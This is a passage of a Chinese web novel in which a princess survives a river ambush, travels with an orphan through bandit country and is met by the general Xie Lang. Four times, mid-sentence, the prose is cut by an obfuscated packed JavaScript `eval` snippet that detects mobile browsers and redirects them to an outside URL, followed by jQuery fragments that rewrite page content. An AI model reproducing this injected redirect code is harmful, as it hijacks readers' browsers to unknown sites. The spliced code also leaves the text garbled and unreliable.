蔚州那边应该早已收到了消息,却并未派人来迎,是路途遥远,讯息传递不力,还是有别的原因?此处的匪乱远比她以为的更加可怖,渔民被逼迫至此就是明证,可宛京却没有收到只言片语,这中间究竟出了什么差错? 船在急流中颠簸得厉害。陈桉上了年纪,受不得这种煎熬,掩着唇几欲干呕。晏泠音也觉头晕目眩,仰靠着舱壁,尽力压下胃中的翻江倒海。 行至中流时,舱外的水声忽然变了。晏泠音强忍不适往外看了一眼,却见水天蒙蒙,昏暗一片。 下雨了。 “船行的方向不对,”她扶着舱壁站起,趔趄了一下,“魏大哥!” 帘子被风掀开,冷雨跟着灌了进来,陈桉呛了风,在一旁剧烈咳嗽。魏收身形一晃,已然奔出舱去,匕首抵上了舵公的脖颈,喝道:“靠岸!” 舵公手一滑,竟然松了船舵瘫倒在地:“大、大人!水太急了,动、动不了啊!” 轰隆一声,船身撞上了礁石,剧烈一震,整个儿往右侧倾倒。另一个渔民见事不好,已先一步爬下了船,一个猛子扎进了水中。 魏收一脚把舵公踢开,恨道:“不能开船,就别揽这趟活!” “不对,”晏泠音站在细雨里,神色凝重,“是故意的。” 另一只跟在他们身后的船也已斜翻,显然进了水,只剩装了箱笼的那只还在稳稳驶向对岸。渔民不只要劫财,更要杀人灭口。 “我去夺船!”魏收两步退至船沿,在呼啸的风声里喊着,“晏主先拆些木板……” 带着杀意的寒刃毫无防备地从身后袭来,魏收没来得及说完后半句话,反手便是一剑,和来人斗了起来。几乎是顷刻间,船沿已爬上了几个黑衣人。他们浑身湿透,露在面巾外的眼中满是凶光。 不知道在船下潜伏了多久。 晏泠音扶着舱门,心中发冷。若只是杀人越货,犯不着出动这么多高手。可见渔民只是个幌子,这是一次早有预谋的围捕,目标不是她,就是陈桉。 到底是谁这么大胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431920|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,敢袭击皇室公主和朝廷命官? 魏收被围堵在船沿,一个黑衣人从缠斗中退出,转身奔向晏泠音。嗤啦一声,幕篱的薄纱被划开,与此同时,她手中的短刀也刺伤了黑衣人的左臂,撕下了一块衣料。 那刀是她离开宛京前,苏觅赠给她的。 嗖的一声,一柄长剑准确地没入黑衣人后心。是魏收。黑衣人摇晃着退了两步,脚下水花四溅。河水已漫上了甲板,这艘船撑不了多久了。 “陈宣抚!”晏泠音俯身往船舱中看,“您会水吗?” 陈桉捂着唇,已经挪到了门边,面色苍白地颤声道:“一、一点点。” 另一侧的魏收又踹翻了两人。余下两人对视一眼,齐齐收剑,纵身跃入了白水河。魏收阻止不及,只听又是轰隆一声,涌上甲板的水急遽增多,船身大半都浸在了水中。 “魏大哥,你带宣抚走。”晏泠音扔掉幕篱,解了外面的罩衫,“我们在蔚州见。” “晏主!”魏收上前一步,一面扶起陈桉,一面咬牙道,“或许……” 夺船已来不及,浮板也太过惹眼,他和晏泠音想的一样,除了潜游至对岸,没有更好的办法。 虽在七月,白水河的水依旧冰寒刺骨,泡上半刻便能让人手足僵麻。急流泅渡本就要消耗巨大的力气,何况水下处处暗礁,只要撞上了,就是粉身碎骨。 他熟习水性,且有内力傍身,倒是不惧寒流,可晏泠音呢? 没等他“或许”出什么,晏泠音已跳下了船。那点白影淹没在雪色的浪中,转眼就不见了。魏收别无可想,揽紧了陈桉的肩。 “陈老,”他心跳得厉害,语声却相当镇定,“我们走。” 蔚州见。 这是晏泠音留给魏收的命令,也是她给自己的命令。太冷了。寒意沿着骨头缝钻进身体,痛得啮心。力气被四面八方的水流吸走,手脚越变越沉,几次要往下坠去。 耳边嗡鸣不绝,双眼也被浸得发痛。晏泠音竭力控制着呼吸,在扑面的浪花里艰难换气,却还是连呛了两口水。窒息感汹涌而来时,她的意识有一瞬空白。天地间忽然又空旷起来,她仰脸望去,只看见了灰蒙蒙的雨雾。 她以为自己忘了,却在此刻无比清晰地记起,十一年前,她差点溺死在黎照湖中时,也是在一个雨天。 可是不一样。当年温敏发现了她,在千钧一发之际救了她。她受了惊,发了高烧,但还是活了下来。 而现在,没有人会托住她沉重的身体,没有人会为她渡气。她只能靠自己。 晏泠音挣出水面,猛吸了一口气,随后又放松着沉下去,边留存体力边调整姿势。她的力气已消耗殆尽,肺部因缺氧而疼痛不已,身子也被水流推挤着往下游偏去。此时还在往前游,只是出于求生的本能而已。 再游一段。她在心中默念。 死在这里,怎么都不会甘心的。 半个时辰,还是两个时辰?双手终于摸上粗粝的砂石,晏泠音用最后的力气攀上了岸。雨已停了,夜风清凉,她吐了两口水,在极度的晕眩里瘫坐在地。 身后传来沙沙的脚步声。她没有转头的力气,只能微微仰脸。 头顶是半轮孤月。 39. 乐山 短刀就藏在晏泠音束紧的袖管里,刀鞘冰凉坚硬,让她的心也稍稍定了下来。来人停在她身后约莫三尺的地方,审慎地打量着她。 晏泠音在轻轻发颤。夜里的温度低,她又穿着湿衣,经不住风吹。 “哎,你,”半晌,那人的声音才从背后传来,带着警惕,“你……是人是鬼?” 听着是个年轻女子。晏泠音先松了口气,跟着却又紧张起来。这样的地方,这样的时辰,寻常女子不可能孤身在外。 难道她也是匪盗的同伙? “罢了,人还是鬼,有什么要紧。”没听到晏泠音的回答,女子又往前走了一步,口中嘟哝着,“这年头,鬼还见得少吗。” 她们离得很近,晏泠音可以听见女子略显急促的呼吸。苍冷的月光下,她的影子落在晏泠音身侧,很瘦。 只是…… 晏泠音阖了下眼。 她手中拎着根长条形的东西,不像刀剑,应该是棍棒。 影子动了。 晏泠音迅速滚倒在地,方才积蓄的力气在这一瞬尽数爆发。粗长的木棍砸在她头侧,飞溅的尘沙落上了她的脸。女子反应很快,一击不中,立刻改换姿势,抡着棍子砸向她的左肩。晏泠音正探手去取袖中的短刀,没顾上避闪,左肩顿时疼得有如火烧。 但就在女子俯身靠近的那一刻,短刀抵住了她的心口,刀锋后是晏泠音幽暗的眼。 “你是谁?” 她其实气力已尽,胸口闷痛,连刀尖也无法再进一寸。但她的眼神太冷,倒是把女子镇住了,不敢贸然去拾滚落在地的木棍。 “哎……这是何苦呢!”女子的年纪似乎比她还小,嘴角有颗俏皮的痣。她眼睛很大,瞳仁也极黑,即便稚气未脱,也看得出是个美人胚子,只是双颊已瘦得凹陷下去,脸上也脏兮兮的。 “姊姊,女侠!”女子举起双手,表示自己并没恶意,“我就是个无依无靠的孤女,你杀了我也没用的。我浑身上下找不出一文钱,肉也又干又苦,难吃得很。” 什么叫难吃得很?晏泠音听得皱眉。女子却误解了她的神色,咬了下牙:“就算真要杀我,也别把我扔这儿,行行好,送我去那边的树林,我娘也埋在那里。” 能说这种话的应当不是盗匪。晏泠音示意她往旁边走,离那根木棍再远些,随后才开口:“我不杀你,你也别再伤我。” “不敢了,”女子委委屈屈地说,“我原本只想把你弄昏,捞些首饰回去……哎,你别动刀,有话好好说!” 铛的一声轻响,晏泠音回刀入鞘。用力过度的酸痛后知后觉地涌了上来,她面上不显,眸光仍然很冷:“你很需要钱?” 听出了她语气的变化,女子赶忙道:“姊姊,我看你这一身打扮,不是蔚州本地人罢?你……你只要给我些银子,我什么都能做!我对蔚州可熟了,你想去哪儿,想找什么人,我都能帮上忙!” 说话间,女子时不时地瞄向晏泠音的耳侧。跳船跳得匆忙,晏泠音没来得及卸下耳坠,两粒玉珠正湿漉漉地在月光下发亮。 她在这一带人生地不熟,身上又没有朝廷的信物,说不定连城门都进不去。如果有人引路,确实会方便许多。 “我听说蔚州匪势力不弱,”晏泠音观察着她的神情,“你认识他们的头领吗?” 她原是想再试探下女子的身份,以防她和那些黑衣人有什么牵连,谁知女子一听之下,忽然倒退一步,声音也发了颤:“你、你是来找乐山王的?” 这倒是个未曾听过的名号,晏泠音没急着回答,只定定地注视着她。女子的面色在一瞬间变得苍白,漆黑的瞳孔中腾起了恨意。 “你找他做什么?”她当晏泠音是默认了,反问道,“你是他的谁?” 她很快地瞥了眼地上的木棍,眸中的狠劲一闪而过。方才她攻击晏泠音时,还没流露出这样强的杀意。 晏泠音将她细微的动作都看在眼底。 “我跟着商队北上,被他劫了货,想打听打听他是什么人。” 女子狐疑地望着她,见她语声笃定,不似作伪,紧绷的身体才略略放松:“就凭你?你连他的面也见不到。” “乐山王这么厉害?”晏泠音微偏过头,作出惊讶的样子,“你们知州呢,也就放任不管?” 女子忽然就笑了。那颗小痣缀在她嘴角,显得格外灵动。她虽然在笑,眸光却很凉:“姊姊,你是河那边来的,不知道这的情况。我们知州自顾不暇,见了乐山王,只怕还得叫他一声大哥。” 这句话里信息不少。晏泠音默然片刻,抬手卸了耳边的玉坠,递到女子面前:“我此行原是要去泾州,那里有我的族人。你若能领我走条近道,抵达泾州后,我再赠你些银两。” 女子轻轻咽了口唾,迅速伸手取过了玉坠,把它紧紧护在胸前,这才警觉道:“你要去泾州?谢都督管得严,外籍百姓无故不得入城,你怎么进去?” 晏泠音扬了扬眉,又听见女子小声嘀咕:“我也想去泾州……谁想待在蔚州呢?要不是姓谢的讨厌流民,我早就跑过去了。” 这些都是晏泠音并不知晓的。交战地、匪乱地免不了会有流民,梁国的律法里专门设了相关条文,要地方官长对其妥善安置。如果谢家行事真的如此强硬,岂不是寒了百姓的心? 女子还在偷瞧她腰间的玉佩。晏泠音垂了袖摆,阻住了她的目光:“放心,你引我过去,我自有办法。” * 女子叫葛茵,小名茵茵,和晏泠音正巧同音不同字。她是蔚州邨县人,家里原本薄有田产,两年前被乐山匪强占,成了无籍的流民。她爹娘都死在盗匪手上,只寻回了娘的尸体。她给娘挖坟时,立誓和乐山匪不共戴天。 “乐山王精得很,办事都由手下的小弟出面,他躲在后头,连名字都不肯叫人知道。”葛茵坐在邨县的小酒馆里,嘴里塞得满满当当,说话也有些含糊,“这些年他名气越来越大,可真要说起来,还没人见过他的真面目。” 酒馆里人声嘈杂,她们坐在边角,并不引人注意,但晏泠音还是环顾了一圈,确保没人听见她们的谈话:“他是怎么起来的?你说知州怕他,为何不上报朝廷?” “这不是靠着山、山嘛。”葛茵饿了太久,此时狼吞虎咽,噎得差点翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431921|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了白眼。晏泠音抬手替她顺气,提醒她道:“慢点吃,否则胃也受不住。” 葛茵终于平复下来,端着碗喝了口茶:“蔚州背后就是乐山,往里头一躲,十天半月都找不见人。近年不是旱就是涝,间或还遇上蝗虫,地里长不出东西,田租还得交,这不是逼着人上山吗?乐山就这样慢慢建了寨。先前那个知州没当回事,等他送了命,现在这个来的时候,就已经晚了。” “至于为什么不上报……”葛茵晃着手中的茶碗,又露出了前夜那种讽刺的笑,“也得他敢才行。” 她的语气里有毫不掩饰的厌恶和轻蔑。晏泠音隐约察觉到什么,正要再往下问,却觉酒馆中忽然静了一瞬。她和葛茵同时抬头望向门口,看到了一个身形娇小的黑衣姑娘。吸引众人注意的倒不是她本人,而是她身侧那柄极粗的长刀。 “好家伙,”葛茵在一旁倒抽了口凉气,“这得多少镔铁才能打出来?能卖不少银子罢?” 小姑娘在众人各异的目光中大步上前,扬着下巴往柜台上扔了把碎银:“拿你们最好的酒。”她提着刀,转身扫了眼馆内的桌椅,发现只有晏泠音那桌还有空座,旁的都已坐满了。 “两位,”她几步跨过去,毫不客气地拉过椅子坐下,“拼个桌。” 她身量虽小,气场却很足,没给人留拒绝的余地。葛茵搁了碗,心虚地往晏泠音身边挪了挪屁股,怀疑方才那句话被当事人听到了。 当事人像是故意的,重重放下长刀,当啷一声靠在葛茵身侧的墙上,激得她抖了一下。 “客官,您的酒。”小二也看出她不好惹,不敢怠慢,很快便端了酒来,“您慢用。” 在蔚州,有银子就意味着危险。小姑娘扔下的那把碎银足以令人眼红,她虽坐下了,馆内仍有不少目光停在她身上。而她毫不在意,端着酒盏喝了一口,随即便啧了一声。 “诓我呐?”她似笑非笑,看向一旁冷汗直冒的小二,“这就是‘最好的酒’?” 小二赔笑道:“确实只有这些了,晚些还有乐山的军爷要来,说好了给他们留……” 小姑娘屈指吹了声口哨,懒懒道:“乐山是我从前捉鱼摸鸟的地方,什么时候长出了一堆军爷?” 她这句话没压着声音,顷刻间馆内静得落针可闻,很快,又想起了嗡嗡的私语声。小二不知该如何接话,急得满头大汗。几个人边说话边起身出了酒馆,临走还频频回头看那个小姑娘。葛茵拉了把晏泠音的袖子,凑到她耳边低声说:“这姑娘是来惹事的,我们还是走罢。” 晏泠音被她扯着走到了门口。里头的掌柜也已听到动静,匆匆赶了出来,打圆场道:“误会,都是误会!店里还有好酒,客官……” 他绕过几只桌椅,这才看见小姑娘的容貌,忽然就愣住了。过了片刻,他才颤声开口:“白……二小姐?你回来了?” 晏泠音止了步。她回头望去时,小姑娘的脸隐在阴影里,看不清神色,倒是倚在她身边的那柄长刀浸着日光,熠熠生辉。 刀柄上的暗纹在光照下若隐若现,晏泠音还没看清,葛茵已又拽了她一把,催她道:“走啦!” 40. 惊梦 照葛茵所说,邨县是去泾州的近道,出了东城门,再骑一天的马就能到。马是晏泠音在县里买的,葛茵不会骑马,由她托着腰送上马背时还在哆嗦。 “要是它把我甩下去怎么办?”葛茵死死拽着缰绳,忐忑道,“闻姑娘,你会救我罢?” 出门在外,晏泠音又用回了闻暄这个名字。她把葛茵扶稳,爬上马鞍坐在她身后:“你放松些,不要乱动,掉不下去的。” 马喷了个响鼻,抖了抖身子,葛茵把马缰拽得更紧了,整个人往晏泠音怀里缩:“真的吗?你别抢缰绳,我没东西握着……啊呀!” 城外大多是荒地,一片又一片的黄杨林在身侧飞速掠过。路上几乎没有旁人,晏泠音索性让马放开了跑。在小道上多留一刻就多一分危险,若在天黑前跑上官道,多少能安全些。 从葛茵的话里她已了解到,蔚州一带的治安极差。城里还好点,城郊那些野店是碰也碰不得的。她做好了今夜不歇的打算,只盼能在明日午时前赶到泾州。 又跑了一阵,葛茵才堪堪镇定下来。她低头间看到晏泠音露在外面的手腕,惊道:“怎么有血痕?是在衙门口摔的吗?” 她们买马时路过衙门,恰好遇上开衙施粥。粥桶刚摆下,围在门口的流民便一拥而上,把一旁的晏泠音挤得跌倒在地。若不是葛茵眼疾手快地替她挡了一把,只怕腰间的玉佩就被人摘去了。 正是在那样不堪的混乱里,晏泠音才有些理解了泾州“严拒流民”的用意。 她抖了下袖子把手腕盖住:“不碍事的。”想了想,她又轻声道,“多谢你。” 暮色四合时,她们跑到了一处稀疏的黄杨林外。再走两里就是官道,晏泠音拍掉马鬃上的砂砾,牵着它去林中的溪流边饮水。说是溪流,其实只是一条狭小的水沟,好在水质还算干净。她掬了一把洗脸,就着蹲在溪边的姿势,开始摆弄腰侧的烟筒。 临出京前,她特意调整了烟筒的配方,让它即便沾水也不会受潮失效。一只烟筒装满后可以用三次,她在邨县等了两日,用掉了两发,却并未得到魏收的回应。要么是他不便前来,要么是他已不在蔚州境内。 而无论是哪种情形,她都不适合在蔚州再待下去。知州态度暧昧,州中又遍地是流民和盗匪,这一切都透着怪异。她无权无势,身边值钱的东西也多已变卖,若这一次仍然联络不上魏收,只能先去泾州,求谢家帮忙。 烟筒炸响时发出“砰”的一声,声音虽然不大,却也惊起了几只灰雀。葛茵抱着干粮在她身旁蹲下,掰了半只饼递给她:“早就想问了,你这小爆竹是用来干嘛的?” 乳白的烟气在空中久久不散,此时无风,能清楚地看出它的形状,是一只展翅欲飞的鸟。晏泠音接过饼,应道:“用来联络朋友。” “好精巧的玩意儿。”葛茵探手摸了一下,满脸写着羡慕,“你自己做的吗?能不能教教我?” “是我请工匠做的。”晏泠音摇了摇头,“若有机会,等我回了……家,就再做一只送你。” 葛茵一下子笑了起来,显得相当开心:“你真好,又请我吃饭,又要送我礼物。姊姊,闻姊姊,如果你真是我姊姊就好了。” 晏泠音也看着她笑。面前这个烂漫天真、野性未脱的女孩,和前夜举着木棍的似乎是两个人。她想不明白,是怎样的环境才会把好好一个姑娘逼成那样。 她吃完饼,在水里洗尽手上的饼屑,起身道:“上马罢。今夜会有点辛苦,你若是累了,就靠在我身上睡。” 正在此时,她忽见前方的天际也升起了白烟,虽然隔得远,但仍能隐约辨认出飞鸟的形状。晏泠音先是一怔,随即喃喃道:“太好了。” 能发讯号,起码说明魏收性命无恙。她一直悬着的心稍稍放下了些,转头去看葛茵,却发现她神色凝重,正皱眉望着她们来时的方向。 “我听见,”她语气紧张,“好像有马蹄声。” 晏泠音屏住呼吸,和她一起辨认着。 “乐山匪的马蹄铁材质特殊……“葛茵的眉头越皱越紧,“不好,我们得立刻走。” 头顶的白烟还未散尽,周围尽是平坦空阔的荒地。这片黄杨林又太疏,根本藏不下她们两人一马。晏泠音迅速反应过来,把她推上马背,自己也跟着坐了上去,提醒道:“坐稳。” 喝饱了水的马在暮色里撒开蹄子狂奔。葛茵被颠得几乎要哭出来,却没再惊叫抱怨。晏泠音无暇回头,倒是她时不时地往后看,喊道:“不行,又近了……好马儿,再跑快点!” 可两人共马终究跑不过单人单骑。不用葛茵开口,晏泠音也能听到粗俗的呼喝声在逐渐逼近。周围已彻底暗了下来,日暮穷途,她们是待宰的猎物,被囚在逐渐缩小的包围网中。 只能赌一把了。 她附在葛茵耳边道:“我数三下,然后一起弃马。” 葛茵没有出声,只拿汗湿的手覆上了她的手背。 “三、二、一!”晏泠音从后环抱住她,在马镫上狠狠一踩,借力翻滚下马。道旁是半干不湿的沟道,她们滚了一身臭泥,被熏得头昏脑涨,好的是泥沟软烂,滚下去也悄无声息。这一场景似曾相识,让晏泠音极短地恍惚了一瞬。 她似乎总在试图逃离。 马仍在往前跑,追着它的三个人还未察觉,嬉笑着跟了上去。晏泠音松开了葛茵,和她并排躺在沟道中喘气。今夜没有月亮,倒是有漫天辰星。不远处是荒掉的麦田,能听到不知名的小虫在唧唧欢叫。她们一时都没有开口。 良久,晏泠音低声道:“对不起,我不该用烟筒的。” 葛茵的声音闷闷的:“不怪你,是我忘了,他们每天都要在这条路上巡视,遇到年轻的,不论男女都抓回去。”她轻哼了一声,“这些喽啰在山上什么都不是,只敢下山来耀武扬威。” 晏泠音转过脸看她:“抓人做什么,逼他们入伙?” “男子抓进山寨当杂役,女子要么抓回去当夫人,要么就卖给百花窟。”说到最后三个字时,葛茵的语调变了。她举起手臂,像是要摘那散着寒芒的星星,却很快又垂了手,“百花窟么,在蔚州还有个名字,叫百花冢。我之前没跟你说,乐山王就是做百花窟发家的。他倒卖妇女,在蔚州,甚至在幽国都有他的生意。” 晏泠音收了目光,沉默地握住了葛茵的手。她在发抖。 “我娘,”她过了一会儿才继续道,“就是死在百花窟里的。她死得惨,我埋她的时候……不敢多看。” 她鼻音很重。说完这句,她就从晏泠音手中抽回了手,挡在自己脸上。四野辽阔寂静,女子的抽噎声虽已极力压制,混在风声虫鸣里,却仍然格外清晰。 凭什么? 凭什么受苦的是她们,真正该千刀万剐的人却能寻欢作乐,赚得盆满钵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431922|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满? 她不理解。 或许这世上本就没有公道可言。 “闻姑娘,”葛茵吸了几下鼻子,忽然开口问她,“你是从南边来的,那儿是不是比这里好?我娘还活着的时候,总想着去南边看看,说那儿有烟柳拂堤,桃花映水,好看得紧。” 白水河南岸没有战乱和流离,晏泠音本该答一句“是”,但此刻,她却觉得这个字重逾千钧。 小小一座宛京能否代表整个“南边”?她所看到的宛京又能否囊括旁人眼中的一切? 她其实什么都不知晓。 “是好看,”晏泠音顺着她的话说了下去,“但也会因此而柳絮漫天,连门也难出。那一阵太……医馆里忙得很,全是咳喘的病人。” “我可不怕。”葛茵放下了挡在眼前的手,语气忽然坚定起来,“总有一天我要替娘去看看,以后见了娘,再开开心心地说给她听。” 晏泠音支起身,勾了一下她的小指,对上了葛茵略显惊讶的目光。她描述不出心中那无端的悸动,只是冲葛茵笑了笑。 “等到了季节,我陪你。” 两人互相帮扶着爬上坡道。没了马,再加上一路仍不时遇上山匪,须得伏在道旁躲避,她们走走停停,前行的速度难免慢了下来,精神也紧绷了一整夜。天际曙光熹微时,泾州还遥遥未至,但两人都已困得睁不开眼,便找了一处避风的巨石,肩并肩地躺下。 很快,葛茵轻微的鼾声就在耳畔响起,晏泠音也闭上了眼,想要养一养神。 她短暂地做了个梦。 血。漫天席地的血。暗红的、鲜红的,交织在一处,汇成赤色的湖泊。应当有厮杀声,因为她看见了举刀相向的士兵,也看到了被砍翻在地的战马。可是没有。她独自站在静寂的中心,身边是尸山堆叠,血海横流。 抬手时,她托住了一片轻薄的灰色羽毛。那不是羽毛,是纸钱燃烧后的残片。它们飘浮在她身周,像宛京城四月的柳絮,无处不有,阴魂不散。 她不能呼吸。 抱着婴孩的妇女在她身前跌倒,她俯身去扶,却只触到了虚无的雾气。妇女的嘴角溢出鲜血,她看着晏泠音,双唇翕动,似在苦苦哀求着什么。 晏泠音望向她怀中的婴孩。他是那样乖巧,在纷飞的战火里安安静静,不哭不闹。和她对视片刻后,他忽而扬起了唇角。腥臭的风吹开他额前的碎发,露出了一粒如血的朱砂痣。 晏泠音的心重重一跳。 她醒来时浑身冷汗,还未完全从那个怪诞的梦中回过神来。她怔了片刻才想起自己的处境,下意识地转头往身侧望去。 葛茵已不知去向。 周围血腥气很重。晏泠音很快便发现,不远处有几具陌生的尸体,看穿着正是乐山土匪。他们横七竖八地躺着,姿势各不相同,死因却相当一致:被长箭穿胸而过,钉死在地。 她如有所感地抬头,望向了更远处。 十丈外的杨树之下,身姿颀长的男子倚树而立。他手里拿着弧弓,身旁跟了匹通体全黑的骏马。箭袋就垂在鞍侧,他漫不经心地取出一支,微眯了眼拈弓搭箭…… 对准了晏泠音的方向。 与此同时,远在宛京的苏觅被粗暴唤醒。押解进方狱前,他停了步,不顾身后不耐烦的咒骂,最后看了眼京城的天。 碧空如洗,和他送走公主那日一样的好天气。 41. 重瞳 泾州兵善射,这是大梁人所共知的事实。这一优势起自谢初原的精心训练,而谢朗在开始参预军事之后,又将它发挥到了极致。 他招募机敏的士兵,组建起独立于屯驻大军的轻骑队。这只军队人数不过百余人,但个个精于骑射,且纪律严明。它归在泾州下属县尉司的编制之内,平日里分管地方治安,战时则跟着谢朗上前线。队中每人都配备特制的皮筒,其中盛有小箭,专射人和马的眼睛。不久前谢朗替父解围,正是靠他们神不知鬼不觉地深入敌军,拿下了敌首。 而谢朗是这队神射手的领袖。 破空之声转眼便袭到了耳侧,长箭如流星,呼啸着擦过晏泠音的面颊,留下轻微的痛意。她身后已跑出老远的土匪应声跌倒在地,又是一箭毙命。 男子仍是那副漫不经心的样子,仿佛他不是刚杀了人,而是倚在黄杨树下打了个盹。他收了弧弓,牵过马,瞥了晏泠音一眼,忽而朝她走来。 长靴停在她的身前。晏泠音微仰了头,对上男子探究的视线。那是一双线条凌厉的眼,眼眸璨若晨星,很漂亮,但在对视的一瞬就能令人不寒而栗。 他有一目重瞳。 晏泠音在那一刻确证了男子的身份。她此生只见过一位重瞳异相的小将军,就在五年前的陟岵亭。他带着亡友的灵柩孤身赴京,风尘仆仆,面色冷淡,任谁都能看出他身上张扬的戾气。 可此刻站在她面前的谢朗,却如一块蕴藉浑成的陨铁。边地的硝烟磨去了他过分外露的锋芒,那些流动的华彩也已被淘洗干净。血与火的淬炼里,他被锻造成不轻易出鞘的剑,冷,沉,质地坚硬,杀伐决断。 昔日的轻狂傲岸,只在收剑入鞘的一瞬尚能隐约窥见。 “蔚州人?” 晏泠音怔了一下才意识到他在问自己。谢朗的外貌特征太过明显,她能认出他,他却未必还记得她。 她摇了摇头,唤他道:“殊义伯。” 这个封号本该由陈桉带去泾州,以帝王的名义颁赐给他。谢朗的眸光闪了一下。 “五年未见,”他过了片刻才开口,“殿下变了。” 他没有问她为何孤身在此,显然已得知了白水河畔的事。那种语气冷静而疏离,晏泠音听出他隐有所指,不仅仅是在说容貌。 她不卑不亢地应道:“殊义伯也和从前不同了。” 谢朗后退半步,扯过马缰,利落地翻身上马,掐断了这场无趣的寒暄。他微微俯身,朝晏泠音伸出一只手:“找到就好。殿下的侍卫脾气不小,正扬言要治臣接迎不力的罪。只是这两日幽军时有异动,前线吃紧,实在脱不开身,还望殿下莫怪。” 听他这么说,魏收应该已经到了泾州,晏泠音心下略安。她不便多问前线的事,抬手搭上了谢朗的手,感觉到他指腹的薄茧蹭在她掌心:“匪乱肆虐,不该怪在殊义伯头上。宣抚也到泾州了吗?” “那个姓魏的侍卫带他来的。他在白水河受了寒,在蔚州时又遭庸医误诊,现下仍高烧未醒,臣已安排了军医。”谢朗手上使力,带着晏泠音攀上马背,轻巧地落在他的身前,“袭船之事,臣会尽快查清楚,给殿下,给宣抚一个交代。” 庸医误诊? 晏泠音偏头看向谢朗。北地明亮的日光从他背后照来,将他耳旁的碎发映成半透的金色。他紧抿着唇,下颌线微绷,显然不打算再多说什么。 但以魏收的机敏,应当不至于出这种纰漏。 她的疑惑未解,但谢朗已勒马回头,转向了日出的方向。太过强烈的光线刺得晏泠音双目生痛,她半眯起眼,在他策马前先行握住了缰绳:“今日多谢殊义伯相救。与我同行的还有另一位女子,不知殊义伯来时可曾见到她?” 她这一觉睡得沉,不知道土匪是何时来的,也不知道葛茵是何时走了。若她是自行离开便罢,但万一她遇上了危险…… 谢朗在她身后低低地笑了一声。他挡开了晏泠音的手,毫不费力地扯过了缰绳。胯.下的黑马扬蹄长嘶,迎着朗照的白日,如离弦的箭般直射出去。 他的话散落在飒然的风声里。 “臣原不是为了救人,当不得殿下这句感谢。此处已入了泾州地界,臣警告过他们,只要敢来,臣就敢杀。” “至于那位女子,臣确曾见过她,只可惜她跑得太快,臣没能拦住。” 晏泠音感觉到他的目光落在自己发顶,极短地停留了一瞬。随后,他的声音又平静响起。 “但臣要提醒殿下,那女子手中有刀。若不是乐山匪围了上来,而臣又正好赶到,那把刀,或许就落在殿下身上了。” * 七月十九日,泾州下了冰雹,寒气陡增。陈桉的病还没好全,披了两件衣裳仍觉得冷。侍女给他上了热茶,他只端起喝了一口,便又心不在焉地搁下了。 晏泠音坐在里侧的屏风后,听见了陈桉的咳嗽,转头吩咐魏收道:“去拿我的大氅。” 魏收应声退下,门帘恰在此时被人掀开。谢朗佩剑带甲,挟着一身寒气大步走了进来。跟在他后面的是个肤色黝黑的青年,浓眉大眼,两耳各坠了一只小巧的银环,随着他的走动而叮铃有声。 看两人的样子,应当是刚结束巡查,未及解甲便赶了过来。陈桉正要起身,谢朗已先一步拦住了他,客客气气地拱手行礼:“宣抚使,久等了。” 陈桉的脸色因病而苍白。他不避不让,受了谢朗的礼,待他入座后才开口道:“听说都督仍在养伤,近来泾州的大小事宜,都是由将军代理的。” 他连病了好几日,足步未出屋门,这些话无疑是从旁人那里听说的。谢朗瞥了眼屏风后的人影,颔首应道:“正是。” “将军武艺高强,兼之智勇过人,举朝上下无人不夸。”陈桉虽然老了,但年轻时也曾都督泾州,风云一时,至今余威犹在。他熟悉此地的军规军制,因而也清楚谢朗对它做了怎样的改变,话说得很重,“但领兵不是儿戏,主君赐图、军将帐中议事,都是我朝历来沿袭的传统,也是大军致胜的要义。将军既不看陛下颁赐的军阵图,也罔顾陛下要我协助州事的诏令,将各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431923|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军的大权都揽在自己手里,只怕会辜负了陛下待泾州的一片真心。” 